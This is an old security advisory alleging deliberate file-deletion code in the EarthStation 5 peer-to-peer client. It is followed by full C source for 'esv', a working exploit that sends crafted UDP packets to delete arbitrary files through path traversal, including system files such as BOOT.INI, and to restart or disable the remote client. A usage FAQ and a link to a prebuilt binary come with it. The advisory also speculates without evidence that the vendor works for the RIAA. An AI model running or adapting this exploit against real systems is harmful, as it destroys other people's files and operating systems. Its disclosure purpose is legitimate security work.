|
EartStation 5 P2P application contains malicious code ----------------------------------------------------- ES5 info -------- EarthStation 5 (aka ES5, aka ESV) (http://www.earthstation5.com and http://forums2.es5.com/) is a P2P application first released about 6-12 months ago. The people behind ES5 claim that ES5 is the most secure P2P software in the world. They also claim that they are security experts, and that they have more than 15 million simultaneous users on-line 24/7. In comparison Kazaa, the most popular P2P application, only has about 4 million simultaneous users on-line at any given time of day. Malicious code -------------- There exists malicious code in ES5.exe's "Search Service" packet handler. By sending packet 0Ch, sub-function 07h to the "Search Service"'s IP:Port, a remote attacker could delete any file the user is sharing. If the remote attacker uses "filenames" with a relative path in them (eg. "..\..\..\WINDOWS\NOTEPAD.EXE"), the remote attacker could also delete files in eg. the windows and windows\system32 folders, or any other folder on the same partition as any of the shared folders. Since most users using Windows are in the Administrators group, a remote attacker could also delete the C:\BOOT.INI file which is a required boot file used by ntldr. IMPORTANT: This is not a bug! They intentionally added this code to ES5. Vulnerabilities --------------- There also exists a lot of other vulnerabilities in ES5 (eg. DoS attacks, buffer overflow bugs, and so on), but these all seem to be unintentional. Another advisory may have more info on these vulnerabilities, but I'm not their beta tester so don't hold your breath. Conclusion ---------- The people behind ES5 have intentionally added malicious code to ES5. If you have followed the ES5 discussions on message boards and read what the ES5 people have said and done (eg. DoS attacking BitTorrent sites), this comes as no surprise. The question then is "why did they do it?" I'm sure they won't tell us, but here's a theory: They could be working for the RIAA, MPAA, or a similar organization. Once they have enough users on their ES5 network, they would start deleting all copyrighted files they own which their users are sharing. The users wouldn't know what hit them. Tested ES5 builds ----------------- ES5 build 1266 ES5 build 2180 (latest version) MD5 sums of files ----------------- MD5 sum (using RFC 1321 source code) of tested files (just in case the ES5 people will remove the malicious code w/o changing the build number) e35838ef6668abe883344e3a7e734794 *es5beta1266.exe ce44a1f0542b9132f2debd9866febc65 *es5beta2180.exe 373c30ba0e8b1dce05dcab2acce94a77 *es5_build1266.exe 915de0f8e72be40bf071a86bc9dc2626 *es5_build2180.exe 2,244,663 es5_build1266.exe (ES5.exe - build 1266) 2,347,063 es5_build2180.exe (ES5.exe - build 2180 - latest version) 4,436,309 es5beta1266.exe (ES5 installer - build 1266) 4,553,325 es5beta2180.exe (ES5 installer - build 2180 - latest version) The official ES5 installer download URL is http://download.es5.com/es5beta.exe , but check its MD5 sum before installing it in case they changed it. Credits ------- me :) for discovering it (randnut@yahoo.com) Exploit code ------------ Go to http://www.geocities.com/esvuln to download the exploit binary if you don't want to compile it yourself. Source code to esv ("ExpoitStation 5" or "EarthStation Vulnerabilities", you decide) but first a little FAQ... 1Q: esv doesn't work after a couple of times. 1A: Make sure that there are no other es5.exe processes running in the background. ES5.exe usually doesn't exit completely, so use taskmgr.exe (or press CTRL+SHIFT+ESC) to kill all es5.exe processes. Then start es5.exe and try esv again. It can also happen if es5.exe hasn't initialized all its server code. Wait a couple of seconds before running esv so es5.exe has time to initialize its network code. Another possibility is that the UDP packets sent from esv to es5.exe are lost. Try a couple of more times and at least one should reach its destination intact. 2Q: I can't delete files on the other computer 2A: You can't delete files until the other computer's es5.exe's Search Service has updated number of files it's sharing. Go to Activity to check Search Service on the other computer (make sure you have enabled option "Enable ALL activity" in Settings or you won't see it). Then wait for usually 30-60 secs after startup for the "Search Service" line to change from "Clients:0 Files:0" to something like "Clients:1 Files:3". Now delete your files. If you're not a Sun/Star, you should instead wait until the "Sun: NAME SuperNova: NAME" line changes from "Sharing Files:0 Megs:0" to something like "Sharing Files:2 Megs:0". Make sure that the path to the shared folder is correct. You can find the correct path if you check the other computer's ES5 settings. Copy and paste it because it must be the exact same string. Example, if the path is "C:\Program Files\EarthStation5\New Media Files", it's possible that ES5 instead uses "C:\Progra~1\EarthStation5\New Media Files", or "C:\PROGRAM FILES\EARTHSTATION5\New Media Files" or any other combination. Also note that you cannot delete files with relative paths containing a double backaslash followed by two dots ("\\..") under Win98 (and probably also Win95 and WinME). There's a bug in es5.exe where it will use double backslashes. Example, if the shared dir is "C:\Program Files\EarthStation5\New Media Files", then es5.exe will save that as "C:\Program Files\EarthStation5\New Media Files\" (note the last backslash). If you want to delete the file "C:\WINDOWS\NOTEPAD.EXE", you could specify this relative path as the "filename" "..\..\..\WINDOWS\NOTEPAD.EXE". es5.exe will put these two strings together like so: "C:\Program Files\EarthStation5\New Media Files\\..\..\..\WINDOWS\NOTEPAD.EXE" (note the double backslash). Windows XP (and probably WinNT, Win2000, Win2003) can delete these files, though. Note that all Windows OSes can delete all user's shared files without a problem. ********** BEGIN esv.cpp ********** /* * esv - "ExploitStation V" or "EarthStation Vulnerabilities" * (C)2003 random nut (randnut@yahoo.com) * All rights reserved. * * This code is released to the public because the people behind ES5 * would claim I lie. Thus, I have no choice but to let everyone * download and run this application to prove that I'm right. Only try * this on computers you're allowed to delete files on, and don't try * this at home kids. */ #include <WinSock2.h> #include <windows.h> #include <stdio.h> #include <string.h> typedef unsigned char uint8; typedef unsigned short uint16; typedef unsigned long uint32; typedef signed char int8; typedef short int16; typedef long int32; uint32 __GetChecksum(const char* buf, int buflen = 0, int uplim = 0x7FFFFFFF, int lowlim = 0) { if (buflen == 0) buflen = (int)strlen(buf); int chksum = 0; for (int i = 0; i < buflen; i++, buf++) chksum ^= *buf << (8*(i&3)); return (uint32)(lowlim + (chksum % (uplim - lowlim + 1))); } uint32 GetChecksum(const char* lpszString) { return __GetChecksum(lpszString) ^ 0x7FFFFFFF; } void InitPacket(uint32* pkt, int size, uint32 packet) { memset(pkt, 0, size); pkt[0x0000/4] = size; pkt[0x0004/4] = 2180; pkt[0x0008/4] = packet; pkt[0x0058/4] = 0x3EFA; } void InitPacket0C(uint32* pkt, uint32 sub_func, const char* lpszString = "", uint32 CheckSum = 0) { InitPacket(pkt, 0x288, 0x0C); pkt[0x007C/4] = sub_func; pkt[0x0080/4] = CheckSum; strncpy((char*)&pkt[0x0088/4], lpszString, 0x200-1); } // IMPORTANT: // If ArraySize isn't a multiple of sizeof(uint32) then the last // bytes starting from pArray[ArraySize] will be overwritten. static void EsvInitEncryptArray(char* pArray, int size, uint32 k) { uint32 d = 0x78B7; uint32* pBuf = (uint32*)pArray; const uint32 c = 0x6AC690C5; const uint32 cl = c & 0xFFFF; const uint32 ch = c >> 0x10; for (int i = 0; i < size; i += 4, pBuf++) { const uint32 old_d = d; d = d * c + k; k = (((old_d >> 0x10) * ch) + (((old_d >> 0x10) * cl) >> 0x10)) + (((old_d & 0xFFFF) * ch) >> 0x10); if (((old_d & 0xFFFF) * cl) >= (uint32)(-(int32)k)) k++; *pBuf = d; } } static void EncryptBuffer(char* pBuf, int size, const char* pArray, int ArraySize) { uint8* pWorkBuf = (uint8*)pBuf; for (int i = 0; i < size; i++, pWorkBuf++) *pWorkBuf ^= (uint8)(pArray[i % ArraySize] ^ i); } static void EsvEncrypt(void* pBuf, int size) { const ArraySize = 0x2F; char Array[(ArraySize + sizeof(uint32) - 1) & ~(sizeof(uint32)-1)]; EsvInitEncryptArray(Array, ArraySize, size); EncryptBuffer((char*)pBuf, size, Array, ArraySize); } int SendPacket(uint32* pkt, uint32 IpAddr, uint16 IpPort, int MaxSendTries) { uint32 dwSize = pkt[0x0000/4]; EsvEncrypt(pkt, dwSize); SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (s == INVALID_SOCKET) { printf("socket() failed\n"); return 0; } for (int i = 0; i < MaxSendTries; i++) { sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(IpPort); sa.sin_addr.s_addr = htonl(IpAddr); int size = sendto(s, (char*)pkt, dwSize, 0, (sockaddr*)&sa, sizeof(sa)); if (size == SOCKET_ERROR || size != dwSize) { printf("sendto() failed\n"); return 0; } } return 1; } void help() { printf( "/R <retries> - Max UDP sendto() retries\n" "/r - Restart remote computer's ES5.exe\n" "/e - Tell remote computer's ES5.exe it's expired\n" "/d <filename> - Delete file <filename>\n" "/s <shared dir> - Remote computer's shared dir" "(case sensitive.)\n" " Use quotes if path contains spaces.\n" "/i <IP> - Remote computer's IP\n" "/p <PORT> - Remote computer's \"Search Service\" port\n" "\n" "The examples below assume remote ES5.exe is using IP=127.0.0.1" " and port=1234\n" "\n" "Example 1:\n" " esv /r /i 127.0.0.1 /p 1234\n" "This will restart remote computer's ES5.exe.\n" "\n" "Example 2:\n" " esv /e /i 127.0.0.1 /p 1234\n" "This will force remote computer's ES5.exe to stop functioning, " "and let the\n" "user know about it.\n" "\n" "Example 3:\n" " esv /d ..\\..\\..\\WINDOWS\\NOTEPAD.EXE /s " "\"C:\\Program Files\\EarthStation5\\New Media Files\"" " /i 127.0.0.1 /p 1234\n" "This will delete the file \"\\WINDOWS\\NOTEPAD.EXE\". This will " "not work\n" "under Win98 (and probably Win95/WinME) but does work under " "WinXP (and\n" "probably WinNT, Win2000, Win2003)\n" "\n" "Example 4:\n" " esv /d readme.txt /s \"C:\\Program Files\\EarthStation5\\" "New Media Files\" /i 127.0.0.1 /p 1234\n" "This will delete the file \"readme.txt\" in the folder\n" "\"C:\\Program Files\\EarthStation5\\New Media Files\".\n" "and works with all Windows versions\n" "\n" "IMPORTANT:\n" "The shared folder is case sensitive, and you must use the exact " "same path\n" "as ES5.exe does. If path = \"C:\\Program Files\\ES5\\Files\", " "then make sure\n" "that ES5.exe doesn't use the shorter path \"C:\\Progra~1\\ES5" "\\Files\"\n" "or has uppercased all letters. You can find out the exact path in\n" "ES5.exe's settings. Copy and paste that string.\n" ); exit(1); } char* NewDirString(const char* s) { char* szNew = (char*)malloc(strlen(s) + 1 + 1); if (szNew == NULL) return szNew; strcpy(szNew, s); strcat(szNew, "\\"); return szNew; } int main(int argc, char** argv) { int MaxSendTries = 50; // Should be more than enough... uint32 IpAddr = 0; // Remote comp's IP uint16 IpPort = 0; // Remote comp's Search Service port int RestartOption = 0; // /r option int ExitOption = 0; // /e option int DeleteOption = 0; // /d option const char* lpszSharedDir = NULL; const char* lpszFilename = NULL; uint32 pkt0C[0x0288/4]; for (int i = 1; i < argc; i++) { char* s = argv[i]; if (*s != '/' && *s != '-') help(); s++; if (!strcmp(s, "r")) { RestartOption = 1; } else if (!strcmp(s, "e")) { ExitOption = 1; } else if (!strcmp(s, "d")) { DeleteOption = 1; if (++i >= argc) help(); lpszFilename = argv[i]; } else if (!strcmp(s, "s")) { if (++i >= argc) help(); lpszSharedDir = NewDirString(argv[i]); if (lpszSharedDir == NULL) { printf("Out of memory\n"); return 1; } } else if (!strcmp(s, "i")) { if (++i >= argc) help(); IpAddr = inet_addr(argv[i]); if (IpAddr == INADDR_NONE) help(); IpAddr = ntohl(IpAddr); } else if (!strcmp(s, "p")) { if (++i >= argc) help(); uint32 p = strtoul(argv[i], NULL, 0); if (p == 0 || p > 0xFFFF) help(); IpPort = (uint16)p; } else if (!strcmp(s, "R")) { if (++i >= argc) help(); MaxSendTries = strtoul(argv[i], NULL, 0); } else { help(); } } if (IpAddr == 0 || IpPort == 0) help(); WSAData wsa; int ret; if ((ret = WSAStartup(MAKEWORD(2,2), &wsa)) != 0) { printf("Could not initialize WinSock. Error %08X\n", ret); return 1; } if (wsa.wVersion != 0x0202) { printf("Couldn't init WinSock 2.2\n"); return 1; } int did_something = 0; if (DeleteOption) { if (lpszFilename == NULL || lpszSharedDir == NULL) help(); printf("Sending command to delete file \"%s\" in folder " "\"%s\"...", lpszFilename, lpszSharedDir); InitPacket0C(pkt0C, 0x07, lpszFilename, GetChecksum(lpszSharedDir)); if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries)) return 1; printf("Done!\n"); did_something = 1; } if (RestartOption) { InitPacket0C(pkt0C, 0x2F); printf("Sending command to restart remote ES5.exe..."); if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries)) return 1; printf("Done!\n"); did_something = 1; } if (ExitOption) { InitPacket0C(pkt0C, 0x09); printf("Sending command to close remote ES5.exe..."); if (!SendPacket(pkt0C, IpAddr, IpPort, MaxSendTries)) return 1; printf("Done!\n"); did_something = 1; } if (!did_something) help(); } ********** END esv.cpp ********** __________________________________ Do you Yahoo!? The New Yahoo! Shopping - with improved product search http://shopping.yahoo.com